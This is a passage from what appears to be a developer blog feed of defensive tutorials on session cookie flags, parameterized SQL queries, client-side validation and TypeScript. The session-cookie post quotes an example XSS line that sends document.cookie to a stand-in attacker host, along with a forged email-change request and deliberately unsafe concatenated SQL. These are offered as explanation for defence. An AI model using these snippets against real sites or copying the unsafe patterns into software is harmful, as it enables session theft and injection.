        ↓
{
  userId: "khg5293",
  role: "user",
  authenticated: true
}

The browser holds the identifier.

The server holds the session state.

This distinction matters because the session ID becomes the link between the browser and the authenticated account.

Why Session IDs Matter

Suppose an attacker somehow obtains this value:

session_id=a8f19d27c4e91b72

They may be able to send:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72

If the server sees a valid authenticated session, the request may look legitimate.

The attacker may never need to know the password.

This is why session identifiers are valuable.

In many applications, possession of a valid session token is enough to act as the authenticated user until that session expires or is invalidated.

That makes the session ID behave a lot like a temporary credential.

Session IDs Must Be Unpredictable

A session identifier should never be easily guessable.

This would be a terrible design:

session_id=1001
session_id=1002
session_id=1003

If session IDs follow an obvious pattern, an attacker might simply try nearby values.

Another bad example would be building a session ID from predictable input:

const sessionId = username + Date.now();

It may look unique, but uniqueness is not the same thing as security.

Session IDs should be generated using a cryptographically secure random number generator.

In Node.js, for example:

import crypto from "crypto";

const sessionId = crypto.randomBytes(32).toString("hex");

console.log(sessionId);

That could produce something like:

63b6910ef2815cb79234af20d8a815332adf36f46d5f86108be34778176cb133

The important property is not that the value looks complicated.

It is that an attacker cannot realistically predict the next valid value.

Protect the Cookie With `HttpOnly`

JavaScript running in a page can normally access cookies through:

document.cookie

That becomes dangerous when an application has a cross-site scripting vulnerability.

Imagine malicious JavaScript manages to run inside your site:

fetch(
  "https://attacker.example/collect?cookie=" +
  encodeURIComponent(document.cookie)
);

If the authentication cookie is readable by JavaScript, the session identifier could potentially be exposed.

The HttpOnly attribute helps reduce that risk.

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly

An HttpOnly cookie is still sent with normal HTTP requests.

But JavaScript cannot directly read it through:

document.cookie

For an authentication cookie, this is an important protection.

`HttpOnly` Does Not Fix XSS

There is an important limitation.

HttpOnly makes direct cookie theft harder, but it does not make an XSS vulnerability harmless.

If malicious JavaScript is already running in the victim's browser, it may still be able to perform authenticated actions.

For example:

fetch("/api/profile/email", {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    email: "attacker@example.com"
  })
});

The JavaScript does not need to read the session cookie.

The browser may attach it automatically.

So the distinction is:

HttpOnly helps protect the cookie itself.

HttpOnly does not eliminate XSS.

Those are separate security problems.

Use `Secure`

Authentication cookies should also generally use the Secure attribute.

Set-Cookie: session_id=a8f19d27c4e91b72; Secure

This tells the browser to send the cookie only over HTTPS.

A stronger configuration combines both attributes:

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly; Secure

Each attribute protects against a different problem.

HttpOnly
    ↓
Reduces direct JavaScript access to the cookie

Secure
    ↓
Restricts the cookie to HTTPS connections

Neither replaces the other.

What About `SameSite`?

Another cookie attribute developers frequently encounter is SameSite.

You may have seen values like:

SameSite=Strict

SameSite=Lax

or:

SameSite=None

SameSite controls when a browser sends a cookie during requests involving different sites.

This matters because browsers automatically attach cookies to matching requests.

Consider this situation:

User is logged into:
account.example

Browser contains:
session_id=abc123

The user then visits:

evil.example

That site causes the browser to make a request to:

account.example

The security question becomes:

Should the browser include the account.example session cookie?

That behavior is closely related to Cross-Site Request Forgery, or CSRF.

`SameSite=Strict`

Strict is the most restrictive option.

Set-Cookie: session_id=abc123; SameSite=Strict

The browser generally avoids sending the cookie in cross-site requests.

That gives strong cross-site protection.

But it can also affect legitimate navigation.

For example, a user clicking a link from another website into your application may arrive without the cookie being included on that initial request.

That may or may not be acceptable depending on the application.

`SameSite=Lax`

Lax provides a middle ground.

Set-Cookie: session_id=abc123; SameSite=Lax

It restricts cookies in many cross-site scenarios while still allowing them in certain top-level navigation cases.

Conceptually:

More restrictive

Strict
  ↓
Lax
  ↓
None

Less restrictive

For many traditional web applications, Lax is a reasonable starting point.

`SameSite=None`

Sometimes an application legitimately requires cookies to work across sites.

In that case:

Set-Cookie: session_id=abc123; SameSite=None; Secure

Cookies using SameSite=None must also use Secure in modern browsers.

So this:

Set-Cookie: session_id=abc123; SameSite=None

is not the intended modern configuration.

Instead:

Set-Cookie: session_id=abc123; SameSite=None; Secure

The important point is that SameSite=None should be a deliberate choice.

It should not simply become the fallback whenever another setting breaks something.

Putting the Cookie Flags Together

A typical session cookie might look something like this:

Set-Cookie: session_id=63b6910ef2815cb7; HttpOnly; Secure; SameSite=Lax; Path=/

Each part has a purpose.

session_id
    ↓
Identifies the authenticated session

HttpOnly
    ↓
Prevents direct JavaScript access

Secure
    ↓
Restricts transmission to HTTPS

SameSite
    ↓
Controls cross-site cookie behavior

Path
    ↓
Controls which paths receive the cookie

No single flag makes a session secure.

Security comes from combining multiple controls.

A Quick Session Cookie Checklist

For a traditional cookie-based session system:

[ ] Generate session IDs using cryptographically secure randomness

[ ] Never make session IDs predictable

[ ] Use HTTPS

[ ] Set HttpOnly on authentication cookies

[ ] Set Secure on authentication cookies

[ ] Choose an appropriate SameSite policy

[ ] Keep cookie scope as narrow as practical

[ ] Treat session IDs as credentials

Final Thought

Developers put a lot of effort into protecting passwords.

But authentication security does not end when the login succeeds.

After authentication, the application needs another way to recognize the user.

In many web applications, that eventually comes down to something like:

Cookie: session_id=a8f19d27c4e91b72

The password may no longer be part of the request.

The session identifier is.

So from an attacker's perspective, the question may stop being:

How do I learn khg5293's password?

and become:

How do I get a valid session?

That is why authenticated session IDs deserve to be treated like credentials.

Because for as long as the session remains valid, that is effectively what they are.

Why Type Safety Matters More as a Codebase Grows

khg5293 — Sun, 13 Sep 2026 02:54:50 +0000

When a project is small, type safety can feel like extra work.

If you only have a few files and you wrote most of the code yourself, it is often easy to remember what each function expects and what each object contains.

That changes quickly as a project grows.

More components, more API responses, more shared utilities, and more contributors all create opportunities for assumptions to drift.

One of the biggest benefits of static typing is that it turns many of those assumptions into something the compiler can check.

For example:

type User = {
  id: number
  username: string
  isActive: boolean
}

const user: User = {
  id: 5293,
  username: "khg5293",
  isActive: true
}

Now a function that expects a User has a clear contract.

function displayUser(user: User) {
  console.log(user.username)
}

displayUser(user)

If the structure changes later, TypeScript can point out the places that need to be updated.

This becomes especially useful during refactoring.

Without type checking, changing a shared object or function signature can create bugs in parts of the application that may not be immediately obvious.

With TypeScript, many of those problems become compile-time errors instead.

Type safety does not eliminate bugs, and it does not replace testing.

But as a codebase becomes larger, it reduces the amount of information developers have to keep in their heads.

That is where I think TypeScript becomes most valuable.

It is not just about preventing simple mistakes.

It is about making larger systems easier to change with confidence.

Why Parameterized Queries Matter for SQL Security

khg5293 — Sun, 13 Sep 2026 02:52:44 +0000

SQL injection is one of the classic examples of what can happen when an application mixes user input directly into a database query.

The underlying problem is simple.

The application expects data.

The database may interpret part of that data as SQL code.

That is why parameterized queries are such an important security control.

The unsafe approach

Imagine a simple project lookup page where a user submits a project name.

An unsafe query might be built like this:

const projectName = request.body.projectName;

const query =
  "SELECT * FROM projects WHERE name = '" +
  projectName +
  "'";

db.query(query);

If the input is:

khg5293-json-formatter

the final query becomes:

SELECT * FROM projects
WHERE name = 'khg5293-json-formatter';

That looks fine.

The problem is that the application is directly combining input with SQL syntax.

Why this becomes dangerous

An attacker is not required to submit the value the application expects.

They may provide input containing characters that change the meaning of the query.

Once user input becomes part of the SQL statement itself, the database may interpret it as executable SQL instead of ordinary data.

That is the security boundary we want to preserve.

The application should control the SQL structure.

The user should only control the values being supplied to that structure.

Parameterized queries separate code from data

A safer version looks like this:

const projectName = request.body.projectName;

db.query(
  "SELECT * FROM projects WHERE name = ?",
  [projectName]
);

Here, the SQL statement and the user supplied value are passed separately.

The database driver handles the parameter as data rather than inserting it directly into the SQL syntax.

This is much easier to reason about and significantly safer.

Another example

Imagine a page that retrieves a project using a numeric ID.

A parameterized query could look like this:

const projectId = Number(request.params.id);

if (
  !Number.isInteger(projectId) ||
  projectId <= 0
) {
  throw new Error("Invalid project ID");
}

db.query(
  "SELECT * FROM projects WHERE id = ?",
  [projectId]
);

This combines two useful controls.

First, the server validates that projectId is actually a positive integer.

Second, the value is passed into the SQL query as a parameter.

Validation and parameterization solve different problems, but they work well together.

Input validation alone is not enough

It is tempting to think that filtering suspicious characters is enough to prevent SQL injection.

For example:

const input = request.body.projectName;

if (input.includes("'")) {
  throw new Error("Invalid input");
}

This is not a good primary defense.

Attack techniques can vary, database syntax can vary, and maintaining a list of every dangerous pattern is difficult.

The safer approach is to design the query so that user input is never interpreted as SQL syntax in the first place.

That is exactly what parameterized queries are designed to do.

Avoid building queries manually

Consider this:

const owner = request.body.owner;
const status = request.body.status;

const query =
  "SELECT * FROM projects WHERE owner = '" +
  owner +
  "' AND status = '" +
  status +
  "'";

db.query(query);

The more values that are concatenated into a query, the harder the code becomes to reason about safely.

A parameterized version is much cleaner:

db.query(
  "SELECT * FROM projects WHERE owner = ? AND status = ?",
  [owner, status]
);

The SQL structure stays fixed.

Only the values change.

Parameterized queries also improve readability

Security is the main benefit, but parameterized queries usually make code easier to read as well.

For example:

const project = {
  owner: "khg5293",
  language: "TypeScript",
  status: "active"
};

db.query(
  "INSERT INTO projects (owner, language, status) VALUES (?, ?, ?)",
  [
    project.owner,
    project.language,
    project.status
  ]
);

It is immediately clear which values are being inserted and where they belong.

The developer does not have to manually worry about quoting or concatenating each value.

Parameterization is not the entire security model

Parameterized queries are extremely important, but they are still only one layer.

Applications should also consider:

Input validation
Authentication
Authorization
Least privilege database accounts
Secure error handling
Logging and monitoring
Rate limiting where appropriate

For example, a perfectly parameterized query is still a problem if any user can access data they are not authorized to see.

Security controls solve different parts of the problem.

A useful mental model

I like to think of it this way:

SQL belongs to the application.

Data belongs to the user.

The application should never let user supplied data become part of the SQL language itself.

For example:

db.query(
  "SELECT * FROM projects WHERE owner = ?",
  ["khg5293"]
);

This is fundamentally safer than constructing the SQL statement by combining strings.

Final thought

Parameterized queries are not complicated, but they solve an important problem.

They create a clear separation between SQL instructions and user supplied data.

Input validation is still valuable.

Authorization is still necessary.

Other defensive layers still matter.

But when an application interacts with a SQL database, parameterization should be the default way to handle values.

Why I Prefer TypeScript Over JavaScript for Larger Projects

khg5293 — Mon, 07 Sep 2026 00:16:56 +0000

JavaScript is flexible, fast to start with, and supported everywhere on the web.

For small scripts, quick experiments, and simple browser utilities, plain JavaScript is often enough.

But as projects become larger, TypeScript starts to solve problems that JavaScript leaves entirely up to the developer.

That is why I increasingly prefer TypeScript for anything beyond a very small project.

The biggest difference is type safety

JavaScript lets variables change type freely.

For example:

let userId = 5293;

userId = "5293";

That is valid JavaScript.

Sometimes this flexibility is convenient, but it also makes it easier for unexpected values to move through an application.

TypeScript lets you define what a value is supposed to be:

let userId: number = 5293;

Now assigning a string to userId produces an error during development.

That means certain mistakes are caught before the code ever runs.

For small experiments, this may not matter much.

For a larger application with many files and components, it becomes much more valuable.

Functions become easier to understand

Consider a JavaScript function:

function getProjectName(project) {
  return project.name;
}

There is nothing here telling us what project is supposed to contain.

With TypeScript, the expected structure can be defined directly:

type Project = {
  name: string;
  language: string;
  public: boolean;
};

function getProjectName(project: Project): string {
  return project.name;
}

Now the function documents itself.

A developer immediately knows what kind of object should be passed into it and what the function returns.

This becomes especially useful when returning to a project after several weeks or working across a larger codebase.

Interfaces make data structures clearer

TypeScript also makes application data easier to reason about.

For example:

interface Profile {
  username: string;
  projectCount: number;
  active: boolean;
}

const profile: Profile = {
  username: "khg5293",
  projectCount: 6,
  active: true
};

If one of those properties is missing or has the wrong type, TypeScript can catch the issue before runtime.

In plain JavaScript, that mistake may only become visible when the affected code actually executes.

Better autocomplete

One of the most noticeable benefits of TypeScript is editor support.

Suppose a project object looks like this:

interface Project {
  title: string;
  repository: string;
  technologies: string[];
}

const project: Project = {
  title: "Algorithm Visualizer",
  repository: "khg5293-algorithm-visualizer",
  technologies: ["React", "TypeScript"]
};

When typing:

project.

an editor such as VS Code already knows that title, repository, and technologies are available.

This makes autocomplete more useful and reduces the need to constantly remember object structures.

Refactoring feels safer

Imagine renaming a property used throughout a large project.

In JavaScript, it is possible to miss one reference and only discover the problem later.

With TypeScript, the compiler can identify places where the old structure is no longer valid.

For example:

interface Tool {
  toolName: string;
  category: string;
}

const tool: Tool = {
  toolName: "JSON Formatter",
  category: "Web Utility"
};

If toolName is later renamed to name, TypeScript helps identify code that still expects toolName.

That makes large refactors much less intimidating.

TypeScript is still JavaScript

TypeScript does not replace JavaScript in the browser.

TypeScript code is compiled into JavaScript before it runs.

For example:

const message: string = "Hello from khg5293";

might ultimately become:

const message = "Hello from khg5293";

The type information helps developers while writing the application, but browsers still execute JavaScript.

That is an important distinction.

TypeScript adds a development layer on top of JavaScript rather than creating an entirely different runtime.

JavaScript still has its place

I would not use TypeScript for everything.

If I am creating a tiny browser experiment with twenty lines of JavaScript, adding TypeScript may create more setup than value.

JavaScript is still excellent for:

Small scripts
Quick prototypes
CodePen experiments
Learning browser APIs
Simple utilities

TypeScript becomes more attractive as complexity increases.

When I would choose TypeScript

For a larger project, I would usually choose TypeScript when the project has:

Multiple components
Complex data structures
API responses
Shared functions
Several source files
Long term maintenance
React or another component based framework

The larger the project becomes, the more valuable explicit types tend to become.

Final thought

JavaScript gives developers freedom.

TypeScript adds structure to that freedom.

For small experiments, plain JavaScript can be faster and simpler.

For larger applications, I prefer having the compiler catch mistakes before users do.

That is why I tend to use TypeScript for larger projects while keeping plain JavaScript for smaller browser utilities.

Both have a place.

The important part is choosing the level of structure that matches the project.

Client Side Validation Is Not a Security Boundary

khg5293 — Mon, 07 Sep 2026 00:15:28 +0000

Client side validation is useful, but it should never be treated as a security control.

A browser can require an email address, limit the length of a username, or prevent certain characters from being entered. That improves the user experience, but anything running in the browser can ultimately be bypassed.

A user can modify HTML, disable JavaScript, change requests in developer tools, or send requests directly using tools such as curl, Postman, or Burp Suite.

That means the server must validate every important value again.

Never trust the client

The server should treat incoming data as untrusted regardless of what the browser already checked.

That includes:

Form fields
URL parameters
JSON request bodies
HTTP headers
Cookies
File uploads
API requests

Imagine a browser form that asks for a username and limits it to 20 characters.

A normal request might contain:

username=khg5293

But an attacker does not have to use the browser form at all.

They could send something completely different directly to the server.

That is why the server has to enforce its own rules.

For example:

const userId = Number(request.body.userId);

if (!Number.isInteger(userId) || userId <= 0) {
  throw new Error("Invalid user ID");
}

The important part is that this validation happens after the request reaches the server.

The browser may already have checked the value, but the server should never assume that check actually happened.

Client side validation still matters

Client side validation is not useless.

It improves the user experience by giving immediate feedback.

For example, a registration form might check that the username is not empty before submitting it:

const username = document.getElementById("username").value;

if (username.length === 0) {
  alert("Please enter a username");
}

That is convenient for the user.

But it does not protect the server.

Someone can bypass that JavaScript and send a request manually.

The server still needs to perform its own validation.

Validation versus sanitization

Validation asks whether data is acceptable.

Examples include:

Is this value an integer?
Is the string within the expected length?
Does the value belong to an allowed set?
Does the input follow the expected format?

Sanitization modifies or removes content in an attempt to make the value safer.

For example, suppose an application only allows a small set of project types.

A server side validation check might look like this:

const allowedProjects = [
  "web-utility",
  "visualizer",
  "security-tool"
];

const projectType = request.body.projectType;

if (!allowedProjects.includes(projectType)) {
  throw new Error("Invalid project type");
}

This is easier to reason about than trying to identify every possible unexpected input.

Prefer allow lists

Allow lists are especially useful when an application expects a limited number of known values.

For example:

const allowedStatuses = [
  "active",
  "inactive",
  "pending"
];

const status = request.body.status;

if (!allowedStatuses.includes(status)) {
  throw new Error("Invalid status");
}

This defines exactly what the application accepts.

Anything outside that set is rejected.

That is often safer and simpler than trying to maintain a long list of suspicious values.

Validate data types too

Input validation is not only about strings.

Applications should also check that values have the expected type and range.

Imagine an API endpoint that accepts the number of projects to display:

const projectLimit = Number(request.query.limit);

if (
  !Number.isInteger(projectLimit) ||
  projectLimit < 1 ||
  projectLimit > 100
) {
  throw new Error("Invalid project limit");
}

Now the server knows that the value must be an integer between 1 and 100.

A client cannot simply send:

limit=999999999

and expect the server to accept it.

Validation is only one layer

Server side validation does not replace other security controls.

Applications still need things such as:

Parameterized database queries
Output encoding
Authentication
Authorization
Secure file handling
Rate limiting
Appropriate error handling

For example, imagine a database lookup for a project.

Instead of constructing a SQL query manually, the application should use a parameterized query:

const projectName = request.body.projectName;

db.query(
  "SELECT * FROM projects WHERE name = ?",
  [projectName]
);

Input validation is useful here, but parameterized queries are still the proper defense against SQL injection.

Security controls work best in layers.

A simple example

A basic server side validation flow might look like this:

function validateProject(project) {
  if (typeof project.name !== "string") {
    throw new Error("Project name must be a string");
  }

  if (project.name.length < 1 || project.name.length > 50) {
    throw new Error("Invalid project name length");
  }

  const allowedLanguages = [
    "JavaScript",
    "TypeScript",
    "Python"
  ];

  if (!allowedLanguages.includes(project.language)) {
    throw new Error("Unsupported language");
  }

  return true;
}

const project = {
  name: "khg5293-json-formatter",
  language: "JavaScript"
};

validateProject(project);

The client may perform similar checks before sending the request.

The server should still perform them again.

The simple rule

A useful rule is:

Never trust the client.

Client side validation improves usability.

Server side validation protects the application.

The browser can help users submit the right data, but the server has to decide whether that data is actually acceptable.

Keeping that distinction clear is one of the fundamentals of secure web development.

DEV Community: khg5293

Why HTTPS Doesn't Mean a Website Is Safe

What HTTPS Actually Protects

Even Phishing Websites Can Use HTTPS

HTTPS Doesn't Fix Application Vulnerabilities

Example: An HTTPS Login Request

Example: SQL Injection Over HTTPS

A Valid TLS Certificate Is Not a Security Audit

What Should You Look For Instead?

Final Thoughts

React Native vs Flutter vs Native: There Is No Universal Best Choice

What Cross-Platform Development Actually Means

React Native

Why React Native Is Attractive

Where React Native Becomes More Complicated

Flutter

Flutter's Biggest Strength: UI Consistency

The Dart Question

Native Development

Why Native Development Still Matters

The Cost of Going Native

Code Sharing Is Not the Same as Zero Duplication

Performance

UI and Platform Feel

Developer Experience

React Native vs Flutter

Native vs Cross-Platform

What I Would Choose

The Maintenance Question

Final Thought

Why Authentication and Authorization Are Not the Same Thing

Authentication: Proving Identity

Authorization: Checking Permissions

Being Logged In Is Not Enough

Authentication Usually Comes First

Authorization Should Be Checked on the Server

401 and 403 Are Different for the Same Reason

A Simple Example

Why the Difference Matters

Final Thought

Your Session Cookie Is Basically a Temporary Password - Part 2

CSRF: When the Browser Helps the Attacker

CSRF Tokens

Session Fixation

Regenerate the Session ID After Login

Session Expiration

Idle Timeout

Absolute Timeout

Remember Me Changes the Risk

Logout Should Destroy the Session

Password Changes Should Affect Existing Sessions

Session Revocation Matters

Don't Put Session IDs in URLs

Avoid Logging Session Tokens

Keep Cookie Scope Narrow

Avoid Unnecessary Session Data in the Browser

Treat Session Security as a Lifecycle

A More Complete Session Security Checklist

Final Thought

Your Session Cookie Is Basically a Temporary Password - Part 1

HTTP Doesn't Remember You

Cookies and Sessions Are Not the Same Thing

Why Session IDs Matter

Session IDs Must Be Unpredictable

Protect the Cookie With HttpOnly

HttpOnly Does Not Fix XSS

Use Secure

What About SameSite?

SameSite=Strict

SameSite=Lax

SameSite=None

Putting the Cookie Flags Together

A Quick Session Cookie Checklist

Final Thought

Why Type Safety Matters More as a Codebase Grows

Why Parameterized Queries Matter for SQL Security

The unsafe approach

Why this becomes dangerous

Parameterized queries separate code from data

Another example

Protect the Cookie With `HttpOnly`

`HttpOnly` Does Not Fix XSS

Use `Secure`

What About `SameSite`?

`SameSite=Strict`

`SameSite=Lax`

`SameSite=None`